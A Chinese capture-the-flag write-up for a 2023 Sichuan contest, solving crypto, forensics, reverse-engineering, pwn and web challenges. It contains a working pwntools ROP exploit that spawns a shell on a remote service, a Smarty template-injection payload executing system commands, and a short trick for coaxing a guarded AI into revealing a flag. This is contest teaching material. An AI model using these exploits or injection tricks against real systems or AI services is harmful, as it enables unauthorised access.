2023年四川網信人才技能大賽 實操賽Writeup

文章目錄

  • Crypto
    • 比base64少的base
    • affine
    • 簡單的RSA
  • Misc
    • 不要動我的flag
    • SimpleUSB
    • 猜猜我是誰
    • 不聰明的AI
  • Pwn
    • getitez
    • bbstack
  • Reverse
    • 誰的DNA動了
    • Don't Touch Me
  • Web
    • little_game
    • justppb
    • ezbbs
    • smart


題目附件,文章末尾微信公眾號點點關注親,謝謝親~

題目附件鏈接:https://pan.baidu.com/s/1kC9kiyUCfjTxqkXPpUFoXw 
提取碼:dh2w 

Crypto

比base64少的base

image.png

affine

wohz{k533q73q-t76t-9292-351w-h880t22q2q59}a=3 b=7

image.png

簡單的RSA

p = r**5 + r**4 - r**3 + r**2 - r + 2023
q = r**5 - r**4 + r**3 - r**2 + r + 2023

所以n近似等于

r**10 - r**8 + 2*r**7 - 3*r**6 + 4050*r**5 - 3*r**4 + 2*r**3 - r**2 + 4092529==n

z3求解出r,進而得到pq ,然后進行常規的解密

n = 25066797992811602609904442429968244207814135173233823574561146780193277243588729282392464721760638040595480284865294238118778099149754637586361909432730412493061503054820202744474632665791457r = Real('r')
s = Solver()
s.add(r**10 - r**8 + 2*r**7 - 3*r**6 + 4050*r**5 - 3*r**4 + 2*r**3 - r**2 + 4092529==n)
print(s.check())
print(s.model())
[r = -10962507061290870331]
from Crypto.Util.number import *
# from secret import flag
from sympy import nextprimeflag=b''r = 10962507061290870331
p = r**5 + r**4 - r**3 + r**2 - r + 2023
q = r**5 - r**4 + r**3 - r**2 + r + 2023
p =nextprime(p)
q =nextprime(q)
n = p*q
d = inverse_mod(65537,(p-1)*(q-1))c = 18808483076270941157829928736000549389727451019027515249724024369421942132354537978233676261769285858813983730966871222263698559152437016666829640339912308636169767041243411900882395764607422
def enc(c, n):return ZZ(pow(c, d, n))
long_to_bytes(enc(c, n))
b'flag{5afe5cbb-4b4c-9cb6-f8b6-032cabf4b7e7}'

Misc

不要動我的flag

追蹤TCP流,第0個流發現flag的sha256image.png
3個流發現殘缺的flag
image.png

import random
import hashlibhexStr = "0123456789abcdef"
while True:partFlag = ''.join([random.choice(hexStr) for _ in range(4)])flag = 'flag{{22af230f-bbed-{}-95fa-b6b1ca6dc32e}}'.format(partFlag)sha256Flag = hashlib.sha256(flag.encode()).hexdigest()if sha256Flag[:20] == 'c7e6ea42b7301e6330ba':print(flag, sha256Flag)break
PS C:\Users\Administrator\Downloads> python .\misc.py
flag{22af230f-bbed-48b9-95fa-b6b1ca6dc32e} c7e6ea42b7301e6330ba3959fe407930191d371885935ad4cd51e95e857a3155

SimpleUSB

原題:HWS第七期夏令營(硬件安全營)預選賽Misc USB

過濾所有的長度為35usb.capdata
image.png

D:\Wireshark\tshark.exe -r .\misc1.pcapng -T fields -Y "frame.len==35" -e usb.capdata > keyboard.txt

image.png
有很多20開頭的這些里面也是有鍵盤數據的,把條件一起加進去,然后腳本處理

# -*- coding: utf-8 -*-
import renormalKeys = {"04": "a", "05": "b", "06": "c", "07": "d", "08": "e", "09": "f", "0a": "g", "0b": "h", "0c": "i","0d": "j", "0e": "k", "0f": "l", "10": "m", "11": "n", "12": "o", "13": "p", "14": "q", "15": "r","16": "s", "17": "t", "18": "u", "19": "v", "1a": "w", "1b": "x", "1c": "y", "1d": "z", "1e": "1","1f": "2", "20": "3", "21": "4", "22": "5", "23": "6", "24": "7", "25": "8", "26": "9", "27": "0","28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>", "2d": "-", "2e": "=", "2f": "[","30": "]", "31": "\\", "32": "<NON>", "33": ";", "34": "'", "35": "<GA>", "36": ",", "37": ".", "38": "/","39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>","40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}shiftKeys = {"04": "A", "05": "B", "06": "C", "07": "D", "08": "E", "09": "F", "0a": "G", "0b": "H", "0c": "I","0d": "J", "0e": "K", "0f": "L", "10": "M", "11": "N", "12": "O", "13": "P", "14": "Q", "15": "R","16": "S", "17": "T", "18": "U", "19": "V", "1a": "W", "1b": "X", "1c": "Y", "1d": "Z", "1e": "!","1f": "@", "20": "#", "21": "$", "22": "%", "23": "^", "24": "&", "25": "*", "26": "(", "27": ")","28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>", "2d": "_", "2e": "+", "2f": "{","30": "}", "31": "|", "32": "<NON>", "33": "\"", "34": ":", "35": "<GA>", "36": "<", "37": ">", "38": "?","39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>","40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}def filterProcess(output):content = output.replace('<SPACE>', ' ')while True:if '<DEL>' in content:content = re.sub(r'[^>]<DEL>', '', content)else:breakreturn contentwith open('keyboard.txt', 'r') as f:output = ""lines = f.readlines()for line in lines:ifShiftKeys, usbData = line[0:2], line[4:6]if usbData != "00":if ifShiftKeys == "00":if usbData in normalKeys:output += normalKeys[usbData]elif ifShiftKeys == "02" or ifShiftKeys == "20": # 按下了Shift鍵if usbData in shiftKeys:output += shiftKeys[usbData]
print("[+]Output: {}\n".format(output))
print("[+]Filter Processed: {}".format(filterProcess(output)))
PS C:\Users\Administrator\Downloads> python .\UsbKeyboard.py
[+]Output: Ao(mgHy<DEL>Y$\<CAP>a@q7<CAP>gW2D$dE@6#oO0f<Gm1hAI'/N#4C<DEL><AN;<CAP>ms@p<CAP>frQ149K最終得到:Ao(mgHY$\A@Q7gW2D$dE@6#oO0f<Gm1hAI'/N#4<AN;MS@PfrQ149K

直接跑一下看看是啥子
image.png

猜猜我是誰

根據題目提示猜測outguess的密碼是撲克牌K畫像的人名:caesar
image.pngr
然后還有一層凱撒
image.png

不聰明的AI

輸入flag回答說中文,直接輸出旗幟返回flag

Pwn

getitez

靜態分析下,addbook里面的v9是棧上的,v8指向addbook的函數
image.png
addbook函數, 上面v90x18, 下面read可以讀0x100個字節,明顯一個棧溢出,先用 showbook功能leakcanarylibc地址,然后ROP

__int64 __fastcall sub_14BA(__int64 a1, void *a2)
{__int64 result; // raxstd::operator<<<std::char_traits<char>>(&std::cout, "book name:");read(0, a2, 0x100uLL);std::operator<<<std::char_traits<char>>(&std::cout, "book price:");std::istream::operator>>(&std::cin, a1 + 8);result = a1;*(_QWORD *)(a1 + 16) = a2;return result;
}

exp

from pwn import *
from LibcSearcher import *
context(arch = 'amd64', os = 'linux', log_level = 'info')	#infopath = "./getitez"
#p = process(path)
p = remote('10.10.10.101', 35067)
elf = ELF(path)
libc = elf.libcdef g():gdb.attach(p)raw_input()sl = lambda arg : p.sendline(arg)
sla = lambda arg1, arg2 : p.sendlineafter(arg1, arg2)
sd = lambda arg : p.send(arg)
ru = lambda arg : p.recvuntil(arg)
rl = lambda : p.recvline()
sa = lambda arg1, arg2 : p.sendafter(arg1, arg2)
inv = lambda : p.interactive()def choice(num):sla(b'choice', str(num).encode())def addbook(name):choice(1)sla(b'name:', name)sla(b'price:', b'123')def showbook():choice(2)pay = b'a' * 0x18
addbook(pay)
showbook()ru(b'a' * 0x18)
canary = int.from_bytes(p.recv(14), 'little') & 0xffffffffffffff00
log.success('canary = ' + hex(canary))pay1 = b'a' * 0x38
addbook(pay1)
showbook()libc_base = u64(ru(b'\x7f')[-6:].ljust(0x8, b'\x00'))
libc.address = libc_base = ((libc_base - libc.sym['__libc_start_main']) >> 12) << 12
log.success('libc_base = ' +  hex(libc_base))bin_sh = next(libc.search(b"/bin/sh"))
system_addr = libc.sym['system']
pop_rdi = next(libc.search(asm("pop rdi; ret")))log.success("bin_sh = " + hex(bin_sh))
log.success("system_addr = " + hex(system_addr))payload = b'a' * 0x18 + p64(canary)
payload += p64(pop_rdi + 1) * 4 + p64(pop_rdi)
payload += p64(bin_sh) + p64(system_addr)addbook(payload)
choice(4)inv()

bbstack

還在研究中…

Reverse

誰的DNA動了

程序主函數

int __cdecl main(int argc, const char **argv, const char **envp)
{unsigned int v4; // [rsp+Ch] [rbp-14h]int i; // [rsp+10h] [rbp-10h]int s; // [rsp+14h] [rbp-Ch] BYREFunsigned __int64 v7; // [rsp+18h] [rbp-8h]v7 = __readfsqword(0x28u);init(argc, argv, envp);s = 0;v4 = read(0, inputs, 0x40uLL);if ( inputs[v4 - 1] == 10 )inputs[--v4] = 0;for ( i = 0; i < (int)v4; ++i ){memset(&s, 0, sizeof(s));encode(inputs[i], (__int64)&s);outputs[4 * i + 3] = s;outputs[4 * i + 2] = BYTE1(s);outputs[4 * i + 1] = BYTE2(s);outputs[4 * i] = HIBYTE(s);}if ( (unsigned __int8)judge(outputs, CODE, v4) ){puts("well done!you get it");}else if ( !strncmp("flag{", inputs, 5uLL) ){
//最開始看到后面那個太激動, 以為直接爆破4字節的md5就行,不過交上去是錯的, 還是得逆   puts("hey!tell you the 'flag'?");puts("flag{Th14_15_a_xxxx_flAg},the MD5 hash value of xxxx is \"7c76fb919bab9a1abfe854cf80725a09\",just 4 bytes");}return 0;
}//子函數1
__int64 __fastcall encode(unsigned int a1, __int64 a2)
{__int64 result; // raxint i; // [rsp+1Ch] [rbp-4h]result = a1;for ( i = 0; i <= 3; ++i )                    // box = "AGCT"{result = (unsigned __int8)box[((char)a1 >> (2 * i)) & 3];*(_BYTE *)(i + a2) = result;}return result;
}//子函數2
bool __fastcall judge(__int64 a1, __int64 a2, int a3)
{int v4; // ebxint v5; // ebxint v6; // r12dint v8; // [rsp+28h] [rbp-18h]int i; // [rsp+2Ch] [rbp-14h]v8 = 0;if ( 4 * a3 > strlen(CODE) )return 0;for ( i = 0; i < a3; ++i ){v4 = Int(*(_BYTE *)(i + a1));v5 = Int(*(_BYTE *)(i + a2)) + v4;v6 = Int('K');if ( v5 == v6 - (unsigned int)Int('B') )++v8;}return 4 * v8 == strlen(CODE);
}//子函數3
__int64 __fastcall Int(char a1)
{__int64 result; // raxswitch ( a1 ){case 'A':result = 0LL;break;case 'B':result = 4LL;break;case 'C':result = 2LL;break;case 'D':result = 5LL;break;case 'F':result = 6LL;break;case 'G':result = 1LL;break;case 'K':result = 7LL;break;case 'M':result = 8LL;break;case 'T':result = 3LL;break;default:result = 10LL;break;}return result;
}

一個ascii碼字符是8位,循環4次,每次取2位,然后按照box數組存儲,就是每4個encode后的字符就是原來的一個字符
最后對比的對象

CODE = "CGCGCGATCGTCCGCACAGATACATATGTACCTATTTATTTAGTCGTCTACCCGCCTACGCGCCTACGTACCCGCTCGTCTATTTATCCGTATATTTACTTAGCTATCTACTCGTATACTTACATACGCGTCCGCCTATTTAGTTACACAAC"

先根據CODE還原出encode后的字符串

#include "header.h"
#include "base64.cpp"
#include "func.cpp"
#include "tea.cpp"__int64 __fastcall Int(char a1)
{__int64 result; // raxswitch ( a1 ){case 'A':result = 0LL;break;case 'B':result = 4LL;break;case 'C':result = 2LL;break;case 'D':result = 5LL;break;case 'F':result = 6LL;break;case 'G':result = 1LL;break;case 'K':result = 7LL;break;case 'M':result = 8LL;break;case 'T':result = 3LL;break;default:result = 10LL;break;}return result;
}int main()
{char ans[] = "CGCGCGATCGTCCGCACAGATACATATGTACCTATTTATTTAGTCGTCTACCCGCCTACGCGCCTACGTACCCGCTCGTCTATTTATCCGTATATTTACTTAGCTATCTACTCGTATACTTACATACGCGTCCGCCTATTTAGTTACACAAC";char res[0x100] = {0};p(i, 0, strlen(ans)) {p(j, 0x20, 0x7f) {if (Int(ans[i]) + Int((char)j) == 3){res[i] = (char)j;}}}p(i, 0, strlen(res)) {printf("%c", res[i]);}//GCGCGCTAGCAGGCGTGTCTATGTATACATGGATAAATAAATCAGCAGATGGGCGGATGCGCGGATGCATGGGCGAGCAGATAAATAGGCATATAAATGAATCGATAGATGAGCATATGAATGTATGCGCAGGCGGATAAATCAATGTGTTGreturn 21;
}

然后就是將4個字符重新組合成原來的1個字符

    res = "GCGCGCTAGCAGGCGTGTCTATGTATACATGGATAAATAAATCAGCAGATGGGCGGATGCGCGGATGCATGGGCGAGCAGATAAATAGGCATATAAATGAATCGATAGATGAGCATATGAATGTATGCGCAGGCGGATAAATCAATGTGTTG"box = "AGCT"for i in range(0, len(res), 4):a1 = (int(box.index(res[i])))a2 = (int(box.index(res[i + 1])))a3 = (int(box.index(res[i + 2])))a4 = (int(box.index(res[i + 3])))c = ((a1 << 6) + (a2 << 4) + (a3 << 2) + a4)print(chr(c), end='')#flag{725008a5e6e65da01c04914c476ae087}

Don’t Touch Me

程序給的是一個ELF文件,結果用ida看一篇混亂,發現有很多python的痕跡,估計是python打包的ELF,用工具還原
image.png
還原后
image.png
基本上就是對導入的touch.check的調用,用ida看py解包出來的touch.so文件

__int64 __fastcall check(BYTE *a1)
{int i; // [rsp+10h] [rbp-8h]int j; // [rsp+14h] [rbp-4h]for ( i = 0; i <= 37; ++i ){a1[i] ^= 0x25u;a1[i] *= 2;}for ( j = 0; j <= 37; ++j ){if ( a1[j] != ans[j] )return 0LL;}return 1LL;
}
#ans = [0x86, 0x92, 0x88, 0x84, 0xbc, 0xea, 0xb8, 0xf4, 0x28, 0x2c, 0xf4, 0x2c, 0xca, 0xac, 0xb8, 0xf4, 0xc2, 0x2a, 0x96, 0x24, 0xf4, 0xe2, 0x2a, 0xa0, 0x2e, 0x9a, 0xf4, 0xd0, 0x2c, 0xf4, 0xc8, 0x84, 0x88, 0x98, 0x96, 0x8, 0xb0, 0x4a]

把操作還原就行

    enc = [0x86, 0x92, 0x88, 0x84, 0xbc, 0xea, 0xb8, 0xf4, 0x28, 0x2c, 0xf4, 0x2c, 0xca, 0xac, 0xb8, 0xf4, 0xc2, 0x2a,0x96, 0x24, 0xf4, 0xe2, 0x2a, 0xa0, 0x2e, 0x9a, 0xf4, 0xd0, 0x2c, 0xf4, 0xc8, 0x84, 0x88, 0x98, 0x96, 0x8,0xb0, 0x4a]for i in enc:c = chr((i // 2) ^ 0x25)print(c, end='')#flag{Py_13_3@sy_D0n7_T0u2h_M3_Again!}

Web

little_game

查看源碼發現一個success,給了一串字符,以及一個數組下標,直接就是遍歷這串字符的下標得到的就是flag

arr = '1234567890qwertyuiopasdfghjklzxcvbnm{}-'
index = [23,28,20,24,36,1,3,7,6,3,38,2,8,9,5,7,21,38,9,3,6,18,22,38,26,16,6,18,15,37]
print(''.join([arr[i] for i in index]))
# flag{24874-39068s-047od-ju7oy}

justppb

試過爆破,但是習慣用的是自己的字典,沒想到這里要用Burp自帶的字典和密碼爆破。。。。。
image.png

ezbbs

還在研究中…

smart

Smarty的模板注入:https://xz.aliyun.com/t/11108#toc-6
image.png
就是換了個名字,把template_object改成template即可

data=string:{$smarty.template->smarty->enableSecurity()->display('string:{system("ls -lha /")}')}

image.png
繞過直接?匹配或者通配符*
image.png

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/214166.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/214166.shtml
英文地址,請注明出處:http://en.pswp.cn/news/214166.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

C++ Qt開發:PushButton按鈕組件

Qt 是一個跨平臺C圖形界面開發庫&#xff0c;利用Qt可以快速開發跨平臺窗體應用程序&#xff0c;在Qt中我們可以通過拖拽的方式將不同組件放到指定的位置&#xff0c;實現圖形化開發極大的方便了開發效率&#xff0c;本章將重點介紹QPushButton按鈕組件的常用方法及靈活運用。 …

電子眼+無人機構建平安城市視頻防控監控方案

電子眼&#xff08;也稱為監控攝像機&#xff09;可以通過安裝在城市的不同角落&#xff0c;實時監控城市的各個地方。它們可以用于監測交通違法行為、監控公共場所的安全以及實時監測特定區域的活動情況。通過電子眼的應用&#xff0c;可以幫助警方及時發現并響應各類安全事件…

Ubuntu安裝TensorRT

文章目錄 1. 安裝CUDAa. 下載CUDAb. 安裝CUDAc. 驗證CUDA 2. 安裝CUDNNa. 下載CUDNNb. 安裝CUDNNc. 驗證CUDNN 3. 安裝TensorRTa. 下載TensorRTb. 解壓TensorRTc. 安裝TensorRTd. 安裝uff和graphsurgeone. 驗證是否安裝成功f. 備注 關注公眾號&#xff1a;『AI學習星球』 回復&…

spring boot學習第五篇:spring boot與JPA結合

1、準備表&#xff0c;創建表語句如下 CREATE TABLE girl (id int(11) NOT NULL AUTO_INCREMENT,cup_Size varchar(100) COLLATE utf8mb4_bin DEFAULT NULL,age int(11) DEFAULT NULL,PRIMARY KEY (id) ) ENGINEInnoDB AUTO_INCREMENT4 DEFAULT CHARSETutf8mb4 COLLATEutf8mb4…

C語言-鏈表_基礎

鏈表-基礎 1. 數組 1.1 靜態數組 例子:int nums[5] {0};struct person ps[5]; 缺點:1,無法修改地址2,無法動態定義長度3,占用內存過大或過小4,增刪速度慢 優點數組的內存是連續開辟的,所以讀取速度快1.2 動態數組 例子:int *nums (int *) calloc(5,sizeof(int));struct p…

Vmware突然無法獲取IP(二)

一 測試環境 宿主機&#xff1a; window10Vmware 17 proUbuntu 18.04虛擬機中 二 問題 之前虛擬機可以正常使用。過程中&#xff0c;安裝了docker&#xff08;不確定是否和這個有關系&#xff09;第二天開啟虛擬機時&#xff0c;發現網口為down的狀態。將網口up后&#xff0…

python第三方庫——openpyxl

Bokeh是一個Python庫&#xff0c;用于對Excel 2010 xlsx/xlsm/xltx/xltm文件進行讀寫操作。 官網對該工具的介紹為&#xff1a; openpyxl is a Python library to read/write Excel 2010 xlsx/xlsm/xltx/xltm files.It was born from lack of existing library to read/write…

使用Java實現漢諾塔問題

文章目錄 漢諾塔問題 今天和大家來看看漢諾塔問題&#xff0c;這也是一個經典的算法 漢諾塔問題 分治算法經典問題&#xff1a;漢諾塔問題 漢諾塔的傳說 漢諾塔&#xff1a;漢諾塔&#xff08;又稱河內塔&#xff09;問題是源于印度一個古老傳說的益智玩具。大梵天創造世界的…

Git 克隆子目錄

背景 有時候&#xff0c;一個倉庫太大&#xff08;包含很多個工程&#xff09;&#xff0c;下載費時&#xff0c;又占電腦的空間。 如何只下載其中一個工程&#xff08;子目錄&#xff09;呢&#xff1f; 稀疏檢出&#xff08;Spare Checkout&#xff09; git 的 Spare Chec…

Java項目-瑞吉外賣Day5

視線新增套餐功能&#xff1a; 創建SetmealDish&#xff0c;SetmealDto類&#xff0c;與相關的mapper&#xff0c;service&#xff0c;serviceImpl&#xff0c;controller類。 Setmeal表示套餐&#xff0c;SetmealDish表示套餐對應的菜品。 交互過程&#xff1a; 前端請求&a…

TCP 和 UDP 區別? 2、TCP/IP 協議涉及哪幾層架構? 3、描述下 TCP 連接 4 次揮手的過程?為什么要 4 次揮手?

文章目錄 1、TCP 和 UDP 區別&#xff1f;2、TCP/IP 協議涉及哪幾層架構&#xff1f;3、描述下 TCP 連接 4 次揮手的過程&#xff1f;為什么要 4 次揮手&#xff1f;4、計算機插上電源操作系統做了什么&#xff1f;5、Linux 操作系統設備文件有哪些&#xff1f; 1、TCP 和 UDP …

RE2文本匹配調優實戰

引言 在RE2文本匹配實戰的最后&#xff0c;博主說過會結合詞向量以及其他技巧來對效果進行調優&#xff0c;本篇文章對整個過程進行詳細記錄。其他文本匹配系列實戰后續也會進行類似的調優&#xff0c;方法是一樣的&#xff0c;不再贅述。 本文所用到的詞向量可以在Gensim訓練…

2023年度盤點:智能汽車、自動駕駛、車聯網必讀書單

【文末送書】今天推薦幾本自動駕駛領域優質書籍 前言 2023年&#xff0c;智能駕駛和新能源汽車行業仍然有著肉眼可見的新進展。自動駕駛技術繼續嘗試從輔助駕駛向自動駕駛的過渡&#xff0c;更重要的是相關技術成本的下降。根據《全球電動汽車展望2023》等行業報告&#xff0c…

進程、容器與虛擬機的區別

進程、容器與虛擬機 參考&#xff1a;關于進程、容器與虛擬機的區別&#xff0c;你想知道的都在這&#xff01; 進程、容器與虛擬機的結構圖 進程 介紹 進程是一個正在運行的程序&#xff0c;它是一個個可執行文件的實例。當一個可執行文件從硬盤加載到內存中的時候&#xf…

如何用CHAT寫方案?

問CHAT&#xff1a;幫我寫一份航空無動力樂園的可執行方案 CHAT回復&#xff1a; 方案一&#xff1a;概念及地點篩選 航空無動力樂園是指以航空運動為主題&#xff0c;利用自然地形與風力進行滑翔、跳傘等無動力航空運動的戶外休閑娛樂樂園。鑒于此&#xff0c;首需要確定樂園…

Shiro 框架中如何更新Redis的超時登錄時間?

在Shiro框架中&#xff0c;可以通過實現SessionDAO接口來將會話信息保存到Redis中&#xff0c;并且可以通過實現SessionValidationScheduler接口來定期檢查會話是否過期。因此&#xff0c;要更新Redis中的超時登錄時間&#xff0c;可以按照以下步驟進行操作&#xff1a; 實現Se…

基于SpringBoot+Vue會員制醫療預約服務管理信息系統(Java畢業設計)

點擊咨詢源碼 大家好&#xff0c;我是DeBug&#xff0c;很高興你能來閱讀&#xff01;作為一名熱愛編程的程序員&#xff0c;我希望通過這些教學筆記與大家分享我的編程經驗和知識。在這里&#xff0c;我將會結合實際項目經驗&#xff0c;分享編程技巧、最佳實踐以及解決問題的…

RT-Thread 工程創建(1)

方式一&#xff0c; 利用已經有的bsp進行創建 距離BearPi IOT Std 板 1. 下載 RT-Thread 官方 Env工具a. 下載 [Env 工具下載](https://www.rt-thread.org/download.html#download-rt-thread-env-tool) &#xff0c; 并解壓縮b. 將env注冊到系統中, 這樣就在右鍵菜單中出現&am…

PHP案例:探究MySQL應用開發喜好的網絡調查

文章目錄 一、知識準備(一)數據庫與表的創建(二)錄入調查選項(三)創建問卷頁面(四)處理投票數據(五)顯示調查結果二、實現步驟(一)創建數據庫與表(二)錄入若干調查選項(三)創建問卷頁面(四)創建調查結果頁面(五)體驗運行結果(六)查看最終生成的HTML代碼很…

Java - 線程間的通信方式

線程通信的方式 線程中通信是指多個線程之間通過某種機制進行協調和交互 線程通信主要可以分為三種方式&#xff0c;分別為共享內存、消息傳遞和管道流。每種方式有不同的方法來實現 共享內存&#xff1a;線程之間共享程序的公共狀態&#xff0c;線程之間通過讀-寫內存中的公…